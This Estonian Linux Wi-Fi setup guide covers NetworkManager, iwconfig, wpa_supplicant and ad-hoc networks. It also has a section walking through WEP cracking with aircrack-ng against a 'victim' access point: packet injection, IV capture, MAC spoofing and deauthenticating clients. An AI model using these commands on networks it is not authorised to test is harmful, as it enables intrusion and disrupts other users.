- PSK - i.k. Pre-Shared Key. Wifi võrgule ligipääsu tagamiseks kasutatav võti, mis on vaja igale kasutajale anda. Turvalisus hea, kuid nõrkadeks kohtadeks ikka rumal kasutaja, kes võib seda edasi jagada või siis lasta oma arvutist varastada. vt lisa http://en.wikipedia.org/wiki/Pre-shared_key
- MAC, MAC aadress - i.k. Media Access Control address. Võrguseadme füüsiline aadress. Kasutatakse andmelülikihi protokollis Ethernet (OSI mudeli teine kiht). vt lisa http://en.wikipedia.org/wiki/MAC_address
- IV, Initialization Vector - suvaline kindla pikkusega bitijada. Kasutatakse krüpteerimisel, et sama võtmega krüpteeritud infovood oleksid unikaalsed. vt lisa http://en.wikipedia.org/wiki/Initialization_vector
Võrgu seadistamine
Seadistada on võimalik kaht moodi - kasutades võrguhaldurit (Network Manager), mis omab ka graafilist kasutajaliidest või siis käsurealt.
Seadistamine 1: Võrguhalduriga
Võrguhaldur koosneb kahest osast, võrguhalduri teenus ning graafiline kasutajaliides ehk applet. Kui üks neist ei tööta, siis on asjast õige vähe kasu. Ära tuleb märkida ka see, et kuigi teenus on sama, on graafilised kasutajaliidesed erinevatel töölaudadel erinevad (KDE,GNOME). Lisainfot võrguhalduri kohta leiad wikipeediast: http://en.wikipedia.org/wiki/NetworkManager
Võrguhalduri teenus
Teenus on vaikimisi kaasas Ubuntu/Estobuntuga ning käivitatakse alglaadimisel automaatselt, kui sul on selle osas kahtlusi, siis saad teenuse olemasolu ja staatuse kindlaks teha järgneva käsuga:
# service network-manager status
Installeerimine
Kui millegipärast sul teenust ei ole, siis installeerimiseks käivita käsurealt järgnev käsk või otsi network-manageri pakett üles mõnest graafilisest paketihaldurist ja installi sealt:
# sudo apt-get install network-manager
Seadistamine
Ainuke vajaminev seadistus on see, et /etc/network/interfaces failis ei tohi olla kirjeldatud ühtegi võrguseadet, mille manageerimisega võrguhaldur peaks tegelema. Kui soovid, et võrguhaldur tegeleks kõigi olemasolevate võrguseadmetega, siis hoolitse selle eest, et /etc/network/interfaces failis oleks ainult järgnevad read:
auto lo iface lo inet loopback
kui eemaldasid mõne seadme /etc/network/interfaces failist, siis ära unusta võrguhaldurit restartida:
# service network-manager restart
Võrguhalduri graafiline kasutajaliides e. applet
Applet on üldjuhul kättesaadav töölaua paneelil asuvast süsteemsest dokist, sealt kus asuvad ka teised olulised appletid nagu helitugevuse ja lõikelaua puhvri manageerijad, kui on seadistatud siis ka klaviatuuri asetuste valik. Kui sa sealt dokist ühtegi võrguga tegeleda soovivat rakendust ei leia, siis seda ei kuvata (näiteks automaatne peitmine on aktiivne) või on see kuidagi töölauaseadistuste muutmise käigus kaotsi läinud.
Esimesel juhul vaata üle doki seaded - tee doki peal parem klikk ning avanevast menüüst kliki valiku peal, mis kõige enam meenutab seadeid. Seejärel kontrolli seadetest üle, et ega võrguhalduse appletti automaatselt ei peideta. Teisel juhul peaksid appleti käsitsi käivitama.
Käsitsi saad network manageri appleti käivitada vajutades ALT+F2 ning toksides avanevasse dialoogi:
KDE töölaua puhul:
# knetworkmanager
GNOME töölaua puhul:
# nm-applet
Installeerimine
Kui millegipärast sul ei ole võrguhalduri applet installeeritud, siis saad seda teha nii:
KDE töölaua puhul:
# sudo apt-get install plasma-widget-networkmanagement
GNOME töölaua puhul:
# sudo apt-get install network-manager-gnome
Ühenduse loomine võrguhalduriga
Turvamata võrku ühendumine on imelihtne - kliki võrguhalduri ikoonil, vali "ühenda teise võrku" ning vali soovitav wifi võrk välja.
WEP/WPA/WPA2 protokollidega turvatud võrku ühendumise puhul avatakse peale võrguhalduris soovitud võrgu valikut dialoogiaken, kus saad seadistada parameetreid nagu protokollide tüübid, võtmed jne. Jama tekib siis, kui sa ei tea, mida ja kuidas seadistada. Detailid saad teada n. vaadates oma wifi ruuteri seadistust või siis kasutades mõnda vahvat käsurea rakendust, et näha wifi võrkude detailset infot (vt. Wifi võrkude otsimine iwlist rakendusega).
Ad-hoc võrgu ehk kahe arvuti vahelise wifi võrgu tekitamiseks on võrguhalduri võrkude nimekirjas ka valik "New Ad-Hoc Network...". Seadistamisest pikemalt siis, kui olen välja selgitanud miks sellel valikul klikkides midagi ei toimu.
Seadistamine 2: Käsurealt
Selles osas vähe näpunäiteid, kuidas wifi ühendust käsurealt käima saada. Kuna paljud käsud eeldavad juurkasutaja õigustes käivitamist, siis on soovitav olla ettevaatlik, kuna opsüsteemi untsukeeramine on juurkasutaja õigustes imelihtne.
Esimese asjana tuleb peatada network-manager teenus, kuna vastasel juhul ei saa käsitsi wifi seadet seadistada!
Seda saab teha järgneva käsuga:
# service network-manager stop
Wifi seadme kindlakstegemine
Kuna igasugusteks edasisteks tegevusteks on vaja kindlaks teha wifi seadme nimi, siis allpool väike näide ifconfig käsu kasutusest:
# ifconfig -a
Käsu väljundist otsi wifi-võrguseadmeid, mille nimed on tavaliselt wlan0,ath0 või wifi0. Tuvasta õige seade ning kasuta seda järgnevates peatükkides.
Wifi seade peab olema sisselülitatud olekus ehk ifconfig <võrguseadme nimi> käsu väljundis peab olema näha, et seadme olek on UP.
Näide:
wlan0 Link encap:Ethernet HWaddr 00:18:de:77:12:b2 UP BROADCAST MULTICAST MTU:1500 meetrika:1 RX pakette:0 vigu:0 ära visatud:0 ületäit:0 kaadri vigu:0 TX pakette:0 vigu:0 ära visatud:0 ületäit:0 carrier:0 kollisioone:0 txqueuelen:1000 RX baite:0 (0.0 B) TX baite:0 (0.0 B)
Kui seade on väljalülitatud, siis sisse saab selle lülitada järgneva käsuga:
# sudo ifconfig wlan0 up
Skriptides on soovitatav alati enne võrgu seadistamist ülaltoodud käsuga võrguseade üles tuua.
Autori poolt toodud näidetes on edaspidi wifi seadme nimi wlan0 !
Wifi võrkude otsimine
!! Veendu, et võrguseadme olek oleks UP
Nähtavate wifi-võrkude kuvamiseks käivita järgnev käsk:
# sudo iwlist wlan0 scanning
Käsu väljundis on detailid kõikide nähtavate wifi võrkude kohta, eri võrgud on nimetatud "Cell 01", "Cell 02" jne. Olulisemad detailid väljundis on rasvases kirjas.
Näide:
wlan0 Scan completed : Cell 01 - Address: 00:18:39:21:08:B2 Channel:7 Frequency:2.442 GHz (Channel 7) Quality=35/70 Signal level=-75 dBm Encryption key:off ESSID:"foo" Bit Rates:1 Mb/s; 2 Mb/s; 5.5 Mb/s; 11 Mb/s; 6 Mb/s 9 Mb/s; 12 Mb/s; 18 Mb/s Bit Rates:24 Mb/s; 36 Mb/s; 48 Mb/s; 54 Mb/s Mode:Master Extra:tsf=000000000251c180 Extra: Last beacon: 2388ms ago IE: Unknown: 000670656C64696B IE: Unknown: 010882848B960C121824 IE: Unknown: 030107 IE: Unknown: 07064E4120010D14 IE: Unknown: 200100 IE: Unknown: 2A0100 IE: Unknown: 32043048606C IE: Unknown: DD180050F2020101020003A4000027A4000042435E0062322F00 IE: Unknown: DD1E00904C334E1003FFFF000000000000000000000000000000000000000000 IE: Unknown: DD1A00904C3407050000000000000000000000000000000000000000 IE: Unknown: DD0900037F01010000FF7F Cell 02 - Address: 00:90:D0:F7:23:62 Channel:11 Frequency:2.462 GHz (Channel 11) Quality=23/70 Signal level=-87 dBm Encryption key:on ESSID:"kala" Bit Rates:1 Mb/s; 2 Mb/s; 5.5 Mb/s; 11 Mb/s; 18 Mb/s 24 Mb/s; 36 Mb/s; 54 Mb/s Bit Rates:6 Mb/s; 9 Mb/s; 12 Mb/s; 48 Mb/s Mode:Master Extra:tsf=0000096caeb44184 Extra: Last beacon: 3428ms ago IE: Unknown: 00105370656564546F756368364431383446 IE: Unknown: 010882848B962430486C IE: Unknown: 03010B IE: Unknown: 2A0100 IE: Unknown: 2F0100 IE: Unknown: 32040C121860 IE: Unknown: DD060010180200F0 IE: Unknown: DD180050F2020101880003A4000027A4000042435E0062322F00 Cell 03 - Address: 00:18:39:21:08:B2 Channel:7 Frequency:2.442 GHz (Channel 7) Quality=70/70 Signal level=-34 dBm Encryption key:on ESSID:"toru" Bit Rates:1 Mb/s; 2 Mb/s; 5.5 Mb/s; 11 Mb/s; 6 Mb/s 9 Mb/s; 12 Mb/s; 18 Mb/s Bit Rates:24 Mb/s; 36 Mb/s; 48 Mb/s; 54 Mb/s Mode:Master Extra:tsf=000001a78bbc0180 Extra: Last beacon: 568ms ago IE: Unknown: 000670656C64696B IE: Unknown: 010882848B960C121824 IE: Unknown: 030107 IE: Unknown: 07064E4120010D14 IE: Unknown: 200100 IE: IEEE 802.11i/WPA2 Version 1 Group Cipher : CCMP Pairwise Ciphers (1) : CCMP Authentication Suites (1) : PSK IE: Unknown: 2A0100 IE: Unknown: 32043048606C IE: Unknown: DD180050F2020101040003A4000027A4000042435E0062322F00 IE: Unknown: DD1E00904C334E10030000000000000000000000000000000000000000000000 IE: Unknown: DD1A00904C3407050000000000000000000000000000000000000000 IE: Unknown: DD0900037F01010000FF7F
Ülaltoodud näites on 3 wifi võrku:
Cell 01 ESSID on "foo", võrk on turvamata (Encryption key:off), võrk töötab kanalil 7, signaali tugevus 35/70 (käib kah) ning AP MAC aadress on 00:90:D0:F7:23:62.
Cell 02 ESSID on "kala", võrk on turvatud (Encryption key:on), kuna ei ole infot et tegu WPA/WPA2 võrguga siis protokoll WEP. võrk töötab kanalil 11, signaali tugevus 23/70 (nõrk) ning AP MAC aadress on 00:90:D0:F7:23:62.
Cell 03 ESSID on "toru", võrk on turvatud (Encryption key:on), protokoll WPA2. võrk töötab kanalil 7, signaali tugevus 70/70 (väga hea) ning AP MAC aadress on 00:18:39:21:08:B2.
Ühendumine turvamata võrku
!! Veendu, et network-manager teenus oleks väljalülitatud
!! Veendu, et võrguseadme olek oleks UP
Järgevad näited on ülaltoodud võrkude otsimisel leitud Cell 01 baasil.
# sudo iwconfig wlan0 essid foo channel 7 ap 00:90:D0:F7:23:62
Vastavalt siis wlan0 - wifi seadme nimi, foo on võrgunimi ehk ESSID, channel 7 - seitsmes kanal ja ap 00:90:D0:F7:23:62 on AP mac aadress.
Peale seda ei jää muud üle, kui küsida DHCP kaudu oma arvutile IP aadress:
# sudo dhclient wlan0
Ühendumine WEP protokolliga turvatud võrku
!! Veendu, et network-manager teenus oleks väljalülitatud
!! Veendu, et võrguseadme olek oleks UP
Järgevad näited on ülaltoodud võrkude otsimisel leitud Cell 02 baasil. Seadistada saab nii wpa_supplicant kui ka iwconfig rakendusega. Vali ise omale sobiv. Arvesta ka sellega, et WEP protokoll toetab kaht krüpteeringut: 64bit ja 128bit. Esimene koosneb 40 bitisest võtmest (10 kuueteistkümnendsüsteemi numbrit), millele lisatakse 24 bitine IV (Initialization Vector). Teine koosneb 104 bitisest võtmest ning samuti 24 bitisest IV-st.
Näide: 40 ja 104 bitised võtmed:
02DEDED6F6 384ABBB4AD34F81ED84F3AE189
wpa_supplicant rakendusega seadistamine
Salvesta järgnev konfiguratsioon eraldi faili, antud juhul foo.wep.
network={ ssid="foo" key_mgmt=NONE wep_key0=384ABBB4AD34F81ED84F3AE189 }
Konfiguratsioonifailis on määratud ssid (võrgu nimi) ning wep_key0 on parooli järgi genereeritud võti (kuueteistkümnendsüsteemi number), mille leiad oma wifi seadme kasutajaliidesest. Konfiguratsioonifailis ei ole vaja määrata kas tegu 40 või 104 bitise võtmega.
Seejärel seadista wifi seade:
# sudo wpa_supplicant -B -Dwext -iwlan0 -cfoo.wep
Antud näites on wext linuxi driveri nimi, wlan0 wifi seade ning foo.wep konfiguratsioonifail. Parameeter -B paneb wpa_supplicant rakenduse käima taustal, ehk IP aadressi saamiseks pole vaja avada uut terminaliakent.
Küsi DHCP kaudu oma arvutile IP aadress:
# sudo dhclient wlan0
Kui IP aadressi said, siis peaks ühendus vähemalt AP-ni toimima.
iwconfig rakendusega seadistamine
# sudo iwconfig wlan0 mode managed essid foo channel auto key 384ABBB4AD34F81ED84F3AE189
Veendumaks, et seadistus on õige, kuva aktiivne seadistus järgneva käsuga:
# iwconfig wlan0
Kui nähtav seadistus erineb sellest, mille sa sisestasid, siis on võimalik, et network-manager teenus on seda modifitseerinud. Nimetatud teenuse peab välja lülitama.
Kui seadistus õige, siis küsi DHCP kaudu oma arvutile IP aadress:
# sudo dhclient wlan0
Ühendumine WPA/WPA2 protokolliga turvatud võrku
!! Veendu, et network-manager teenus oleks väljalülitatud
!! Veendu, et võrguseadme olek oleks UP
Järgevad näited on ülaltoodud võrkude otsimisel leitud Cell 03 baasil.
Esimese asjana on vaja genereerida wifi AP paroolist PSK võti ning seejärel tekitada sobiv konfiguratsioonifail. wpa_password rakendus on siinkohal abiks, genereerib võtme ning teeb osa konfiguratsioonifailist ka valmis.
Kasutamine:
# wpa_passphrase toru password
Antud näites on toru AP ESSID ning password on parool.
Käsu väljund on järgmine:
network={ ssid="toru" #psk="password" psk=6bc94c36e4855682695ce1746dc16067f777efecb8176ebc6278942447bd06b2 }
Salvesta see väljund eraldi faili näiteks toru.wpa2 ning täienda järgnevalt:
network={ ssid="toru" #psk="password" psk=6bc94c36e4855682695ce1746dc16067f777efecb8176ebc6278942447bd06b2 key_mgmt=WPA-PSK proto=WPA2 }
Parameetrite tähendus:
key_mgmt - lubatud võtmete manageerimisrotokollid.
proto - kasutatav turvaprotokoll n. WPA, WPA2.
Vastavalt vajadusele võib kasutada veel ka järgmisi parameetreid:
priority=2 - võrgu prioriteet. Kui samas konfiguratsioonifailis on kirjeldatud mitu võrku ning mitu neist on samal ajal kättesaadavad, siis tehakse ühendumisel valik prioriteedi järgi. Antud juhul siis prioriteediks 2.
scan_ssid=1 - kasutada juhul, kui AP ei näita oma nime (ESSID).
Kui konfiguratsioonifail valmis, pole muud, kui võrgukaart järgneva käsuga ära seadistada:
# sudo wpa_supplicant -Dwext -iwlan0 -c toru.wpa2
Seejärel küsi DHCP kaudu oma arvutile IP aadress:
# sudo dhclient wlan0
Ainuke erinevus WPA ja WPA2 võrku ühendumisel on määratud turvaprotokoll konfiguratsioonifailis (proto=WPA või proto=WPA2).
Ad-Hoc võrgu seadistamine
Ad-hoc on wifi võrk kahe arvuti vahel ilma wifi ruuterite ja AP-deta.
Kuna kordamine on tarkuse ema, siis tuletan siinkohal meelde, et võrguhalduri teenus on vaja seisata:
Käivita kõikidel arvutitel käsk:
# sudo service network-manager stop
Seejärel pane kõikidel arvutitel wifi seade ad-hoc reziimi samale kanalile ning samanimelisse wifi võrku:
# sudo iwconfig wlan0 mode Ad-hoc essid kala channel 9
kus wlan0 on wifi seade, kala on võrgu nimi ning 9 on kanal, millel võrk töötab.
Edasi on vaja seadistada kõikide arvutite IP aadressid ja võrgumaskid. Kui ühel arvutil töötab DHCP server, siis saab IP aadressi seadistada automaatselt, vastasel juhul käsitsi.
Üldiselt ei ole mõtet DHCP serveriga jamada, kui seadistad võrku ajutiseks kasutamiseks. Käsitsi seadistamine on piisavalt lihtne.
Käsitsi seadistamiseks kasuta ifconfig käsku:
# sudo ifconfig wlan0 up # sudo ifconfig wlan0 netmask 255.255.255.0 192.168.1.1
Esimese käsuga lülitame sisse wifi seadme, teisega konfigureerime ip aadressi ja võrgumaski. Kus wlan0 on wifi seade, 192.168.1.1 on ip aadress ja 255.255.255.0 võrgumask.
! Teistel arvutitel seadista ip aadressiks loomulikult mingi teine IP aadress, et ei tekiks konflikti n. 192.168.1.2, 192.168.1.3 jne. Võrgumask peab jääma samaks.
! Kui soovid, et seadistus säiliks ka peale arvuti restarti, siis kirjuta IP aadress ja võrgumask faili /etc/network/interfaces . Juhendeid selle faili modifitseerimiseks leiad internetist.
! Kõik seadmed, mis on seadistatud /etc/network/interfaces failis , ei ole hiljem enam seadistatavad võrguhalduri rakenduse kaudu! Võrguhaldur ignoreerib neid seadmeid.
Võrgu toimise kontrollimiseks pingi käsurealt teist arvutit. Kui ping toimib siis tõenäoliselt ka ülejäänud konfigureeritud teenused. Failide ühest arvutist teise tõstmiseks on kõige lihtsam kasutada samba teenust.
WEP/WPA/WPA2 turvaprotokollide murdmine
!! Veendu, et network-manager teenus oleks väljalülitatud
!! Veendu, et võrguseadme olek oleks UP
!! Veendu, et aircrack-ng pakett oleks installeeritud
Et turvatud võrkudele ligi pääseda, peab nende võtme kuidagi välja nuputama. WEP protokoll on piisavalt ebaturvaline, et võti teatud vahenditega kätte saada, ilma sõnastikupõhist rünnet kasutamata. Samas on selle eelduseks see, et keegi edukalt autentinud (ehk õiget võtit omav) tegelane parasjagu võrku kasutab.
WPA/WPA2 puhul on mõistlikud ainult sõnastikupõhised ründed. Kõikvõimalike kombinatsioonide läbiproovimine võib võtta aastaid, umbkaudse ettekujutuse saab siit.
Võrkude otsimine
Et sobiv "ohver" leida, ei piisa lihtsalt iwlist rakendusega nähtavate võrkude otsimisest. Näiteks WEP võtme leidmiseks on vaja näha ka AP kliente.
Seega alustaks sellest, et lülitaks wifi seadme monitor režiimi:
# sudo airmon-ng start wlan0
Selle käsu peale tekitatakse uus, nö. monitor seade, vaikimisi mon0 (nimi käsu väljundist leitav n. "monitor mode enabled on mon0"). Tähelepanu! Kõik wifi seadmed ei toeta monitor režiimi.
Seejärel paneme käima skänneri eelpool tekitatud seadmele:
# sudo airodump-ng mon0
Skänneri väljund on näiteks järgmine:
CH 10 ][ Elapsed: 2 mins ][ 2010-04-22 21:11 BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID 00:18:39:21:08:B2 -41 122 92 0 7 54e. WEP WEP foo 00:90:D0:F7:23:62 -80 608 11 0 11 54e WEP WEP SpeedTouch6D184F 00:0D:0B:87:78:6F -86 224 0 0 7 54 WPA CCMP PSK elektrikaar 2 00:16:01:A1:EE:BD -86 126 3 0 1 54e OPN 001601A1EEBD 00:21:91:2F:75:37 -87 157 0 0 6 54 . WEP WEP STV-AERO667 00:90:D0:F3:9B:7A -1 0 1 0 108 -1 WEP WEP <length: 0> 00:17:9A:D3:2F:38 -92 2 11 0 13 54e. OPN <length: 5> 00:16:B6:D9:76:8C -91 4 0 0 11 54 WPA TKIP PSK kolja BSSID STATION PWR Rate Lost Packets Probes 00:18:39:21:08:B2 C4:17:FE:2F:9B:AF 0 1e- 1e 0 149 foo 00:16:01:A1:EE:BD 00:16:EA:70:26:06 -1 1e- 0 0 1 00:90:D0:F3:9B:7A 00:1C:10:6C:EA:15 -81 0 - 1 0 8 (not associated) 00:22:FA:09:FC:48 -88 0 - 1 0 3 TRENDnet
Antud näite puhul on väljundis näha juba eelnevatest peatükkidest tuttav WEP protokolliga turvatud võrk foo. Väljundis on olulisemad detailid rasvaselt tähistatud. Näha on ka see, et nagu tellitult on sellega edukalt seotud ka üks arvuti, mille MAC aadress on 00:18:DE:77:12:B2. Kui sobiv märklaud leitud, siis katkesta skänneri töö (CTRL+C), sest skänneri töö ajal muudetakse wifi seadme kanalit mitu korda sekundis, mis välistab igasugu edasised tegevused "ohvri" kanalil.
Lisainfoks:
Vajaduse korral võib monitor seadme panna tööle kindlale kanalile, selleks tuleb monitor seadme käivitamisel lisada käsurea lõppu kanali number:
# sudo airmon-ng start wlan0
Monitor seadme saab peatada järgneva käsuga:
# sudo airmon-ng stop wlan0
WEP
WEP võtme leidmiseks vali skänneri väljundist välja WEP võrk, millega on edukalt seotud mingi teine arvuti. Kui teine arvuti on skänneri väljundis näha, siis ilmselt mingi liiklus AP ja kliendi vahel toimub mis teeb võtme leidmise võimalikuks.
Antud juhul siis valime väljundist foo võrgu, mille ESSID on mõistagi foo, AP MAC aadress on 00:18:39:21:08:B2, ning mis töötab kanalil 7 .
Lisaks on edasistes toimetustes tarvis teada sinu arvuti wifi seadme MAC aadressi, mille leiad järgneva käsu abil:
# ifconfig wlan0
Allolevas käsu väljundis on wifi seadme MAC aadress märgitud rasvases kirjas:
wlan0 Link encap:Ethernet HWaddr 00:18:de:77:12:b2 inet aadress:192.168.1.100 bcast:192.168.1.255 mask:255.255.255.0 inet6 aadr: fe80::218:deff:fe77:12b2/64 skoop:ühendus UP BROADCAST RUNNING MULTICAST MTU:1500 meetrika:1 RX pakette:6281 vigu:0 ära visatud:0 ületäit:0 kaadri vigu:0 TX pakette:5056 vigu:0 ära visatud:0 ületäit:0 carrier:0 kollisioone:0 txqueuelen:1000 RX baite:6681822 (6.6 MB) TX baite:632586 (632.5 KB)
Ühenduse kontroll
Kontrollime, et ühendus AP-ga oleks kvaliteetne ning et pakettide saatmine (packet injection) töötaks. Kui asi ei toimi, siis pole edasistel tomingutel mõtet:
Kontrollimiseks käivita käsk:
# sudo aireplay-ng -9 -e foo -a 00:18:39:21:08:B2 mon0
kus foo on valitud võrgu ESSID, 00:18:39:21:08:B2 on AP MAC.
Käsu väljund on umbes järgmine:
For information, no action required: Using gettimeofday() instead of /dev/rtc 21:46:43 Waiting for beacon frame (BSSID: 00:18:39:21:08:B2) on channel 7 21:46:44 Trying broadcast probe requests... 21:46:44 Injection is working! 21:46:46 Found 1 AP
21:46:46 Trying directed probe requests... 21:46:46 00:18:39:21:08:B2 - channel: 7 - 'foo' 21:46:48 Ping (min/avg/max): 2.223ms/68.812ms/80.577ms Power: -28.03 21:46:48 30/30: 100%
Kui rasvases kirjas tähistatud protsent on väike, siis oled ilmselt AP-st liiga kaugel ning sinu arvuti wifi signaal ei jõua korralikult AP-ni.
Initsialiseerimisvektorite (IV) kogumine
Kasutame airodump-ng rakendust järgneval viisil:
# sudo airodump-ng -c 7 --bssid 00:18:39:21:08:B2 -w foo_dump -i mon0
Kus 7 on kanal, millel foo võrk töötab. 00:18:39:21:08:B2 on AP MAC. foo_dump on faili nimi, kuhu IV-d salvestatakse ning mon0 on monitor režiimis olev seade.
Väljund on umbes selline:
CH 7 ][ Elapsed: 17 mins ][ 2010-05-06 21:42 BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID 00:18:39:21:08:B2 -26 1 960 1562 0 7 54e. WEP WEP OPN foo BSSID STATION PWR Rate Lost Packets Probes 00:18:39:21:08:B2 00:18:DE:77:12:B2 0 0 - 1 0 875753 00:18:39:21:08:B2 C4:17:FE:2F:9B:AF -29 0 - 1 474 1478
Olulised asjad mida jälgida, on märgitud rasvases kirjas. Juttu tuleb neist pakettide saatmise osas .
Sinu wifi seadme MAC aadressi sidumine AP-ga
On vajalik, et AP ei ignoreeriks sinu poolt saadetavaid pakette. Ava uus terminaliaken (sest IV-de kogumine peab jääma käima) ning käivita järgmine käsk:
# sudo aireplay-ng -1 0 -e foo -a 00:18:39:21:08:B2 -h 00:18-DE-77-12-B2 mon0
Kus foo on valitud võrgu ESSID, 00:18:39:21:08:B2 on AP MAC, 00:18-DE-77-12-B2 sinu wifi seadme MAC ning mon0 jällegi monitor režiimis olev seade.
Eduka sidumise puhul on väljundiks midagi sellist:
21:59:27 Waiting for beacon frame (BSSID: 00:18:39:21:08:B2) on channel 7 21:59:28 Sending Authentication Request (Open System) [ACK] 21:59:28 Authentication successful 21:59:28 Sending Association Request [ACK] 21:59:28 Association successful :-) (AID: 1)
Kui sidumine ei õnnestunud, siis ilmselt on AP-l peal MAC aadresside filtreering - ligipääs lubatud ainult kindlate MAC aadressidega seadmetelt.
Selle vastu peaks aitama (kontrollimata) see, et oma wifi seadme mac aadressi asemel sisestada AP-ga seotud seadme MAC. Loomulikult tähendab see seda, et peale võtme leidmist tuleb ühenduse saamiseks oma wifi seadme MAC aadress ära muuta.
Osade AP-de puhul tuleb sidumist iga natukese aja tagant korrata, selleks sobib järgmine käsk:
# sudo aireplay-ng -1 6000 -o 1 -q 10 -e foo -a 00:18:39:21:08:B2 -h 00:18-DE-77-12-B2 mon0
Kus 6000 on sidumise kordus intervall (6000 sekundit), -o 1 on ainult ühe pakettide komplekti samaaegseks saatmiseks, -q 10 saadab iga 10 sekundi tagant keep alive paketi, foo on valitud võrgu ESSID, 00:18:39:21:08:B2 on AP MAC, 00:18-DE-77-12-B2 sinu wifi seadme MAC ning mon0 jällegi monitor režiimis olev seade.
Väljund on umbes selline:
21:43:59 Waiting for beacon frame (BSSID: 00:18:39:21:08:B2) on channel 7
21:43:59 Sending Authentication Request (Open System) [ACK] 21:43:59 Authentication successful 21:43:59 Sending Association Request [ACK] 21:43:59 Association successful :-) (AID: 1)
21:44:09 Sending keep-alive packet 21:44:19 Sending keep-alive packet 21:44:29 Sending keep-alive packet
Alustame pakettide saatmist (package injection)
See operatsioon on mõeldud IV-de kiireks kogumiseks. Alternatiivina peaks wifi võrku kuulama pikka aega, et sellega seotud seadmete tekitatud liiklusest piisav kogus IV-si välja nuuskida.
# sudo aireplay-ng -3 -b 00:18:39:21:08:B2 -h 00:18-DE-77-12-B2 mon0
Väljund on umbes selline:
<varsti tuleb siia väljund>
Seotud klientide lahtiühendamine
Kui soovid tekitada natuke liiklust ja/või kasutada ühendumiseks mingi AP-ga seotud arvuti MAC aadressi, siis võid proovida järgnevat käsku:
# sudo aireplay-ng -0 1 -a 00:18:39:21:08:B2 -c C4:17:FE:2F:9B:AF mon0
Kus 00:18:39:21:08:B2 on AP MAC, C4:17:FE:2F:9B:AF lahtiühendatava kliendi MAC ning mon0 jällegi monitor režiimis olev seade. Kliendi MAC aadressi ärajätmisel ühendatakse lahti kõik seotud seadmed k.a. sinu enda oma.
Ideaalis võiks väljund olla järgnev:
21:49:29 Waiting for beacon frame (BSSID: 00:18:39:21:08:B2) on channel 7 21:49:31 Sending 64 directed DeAuth. STMAC: [C4:17:FE:2F:9B:AF] [64|64 ACKs]
Rasvases kirjas märgitud numbrid näitavad AP ja lahtiühendatava kliendi vastuseid saadetud de-auth pakettidele. Numbrid võivad olla suurema, kui kliendi ja AP vahel toimib aktiivne liiklus. Paha lugu on siis, kui lahtiühendatav klient ei ürita automaatselt tagasi ühenduda - mingit edasist liiklust ei toimu.
Võtme leidmine
# sudo aircrack-ng -z -b 00:18:39:21:08:B2 foo_dump*.ivs
või siis
# sudo aircrack-ng -a 1 -0 -n 128 foo_dump*.ivs
WPA/WPA2
Abiks skriptid
Allolevad skriptid tuleks salvestada faili ning anda failile chmod käsuga käivitusõigus.
Järgnev skript on parima leviga vabasse wifi võrku ühendumise automatiseerimiseks. Töötab väga hästi IT Kolledzis (v.a. võrgulaboris, kus kohalikud ilma võrguühenduseta AP-d on tugevama signaaliga).
#!/bin/bash # Connect to best quality open wifi written by Argo Ellisson # wifi device selection, default wlan0, can be changed in script or given as first parameter to the script. if [ $# == 0 ]; then WD="wlan0" else WD=$1 fi # Stop network-manager service and bring device up just in case sudo service network-manager stop > /dev/null 2>&1 sudo ifconfig $WD up > /dev/null 2>&1 sudo iwlist $WD scanning | egrep "Address|ESSID|Quality|Channel|Encryption" | \ awk -v WD=$WD 'BEGIN{maxq = 0; maxqi = 0;}{\ if ($1 == "Cell"){\ i = $2;\ namearray[$2] = $2;\ aparray[$2]=$5;\ }else if( $1 == "Encryption"){\ split($2, a, ":");\ encarray[i] = a[2];\ if( qualityarray[i] > maxq && encarray[i] == "off") {\ maxq = qualityarray[i];\ maxqi = i;\ }; \ } else {\ split($1, a, ":");\ if ( a[1] == "ESSID"){\ gsub(/\"/, "", a[2]); essidarray[i] = a[2];\ }else if(a[1] == "Channel"){\ channelarray[i]=a[2];\ }else{ \ split($1,a,"=");\ if (a[1] == "Quality"){\ sub(/\/100/, "", a[2]); qualityarray[i] = a[2];\ if (a[1] == "Quality"){\ sub(/\/100/, "", a[2]);\ qualityarray[i] = a[2];\ };\ };\ };\ };\ }END{\ print "found networks:"; print "Cell ESSID Channel AP Quality Encryption";\ for ( f in namearray ){\ print namearray[f],essidarray[f],channelarray[f],aparray[f],qualityarray[f],encarray[f];\ }; \ if ( maxqi != 0 ){\ print "Choosing Cell ",maxqi," because of best quality";\ system("sudo iwconfig "WD" essid "essidarray[maxqi]" channel "channelarray[maxqi]" ap "aparray[maxqi]"; sudo dhclient "WD" ");\ } else {\ print "No open networks were found!";\ };\ };'
Järgnev skript on abiks kui soovid lihtsalt ja kiirelt olemasolevate konfiguratsioonidfailide abil tuttavasse, WEP,WPA või WPA2 protokolliga turvatud võrku ühendada. Wifi võrguseadme nimi tuleks skriptis ise ära muuta, kui see ei ole wlan0 .
#!/bin/bash # Connect to WEP/WPA/WPA2 network using configurationfiles. written by Argo Ellisson # default wifi device name WD="wlan0" # Stop network-manager service and bring device up just in case sudo service network-manager stop > /dev/null 2>&1 sudo ifconfig $WD up > /dev/null 2>&1 if [ $# == 0 ]; then # connect using default configurationfile sudo wpa_supplicant -D wext -i $WD -c /etc/wpa_supplicant/wpa_supplicant.conf & else # connect to some other network with wpa_supplicant configurationfile given as a parameter sudo wpa_supplicant -D wext -i $WD -c $1 & fi sudo dhclient $WD
Puuduvad teemad ehk "to do" list
Selle artikli juures võiks pikemalt lahti seletada veel järgmised asjad:
- Madwifi draiveri installeerimine
- wlanconfig utiliit, mis sisaldub madwifi-tools paketis
- kismet utiliidi installeerimine ja kasutamine koos GPS seadmega wifi võrkude kaardistamiseks
- Tehase poolt määratud vaikimisi ESSID järgi WEP/WPA võtmete leidmine - n. SpeedTouchi ruuterite puhul saab seda teha siit
- MAC aadresside võltsimine (MAC address spoofing), n. macchanger utiliidi abil.
- Rainbow tabelite abil WPA võtmete otsimine
- Autentimine Radius serveri abil
Juhendist
Juhendi koostasid:
- Argo Ellisson
Kasutatud materjalid:
- iw*, wpa*, air* tööriistade linuxi abilehed (man-pages).
Versioonide ajalugu:
Versioon | Kuupäev | Muudatused |
---|---|---|
1.0 | Algne versioon | |
1.1 | ||
1.2 |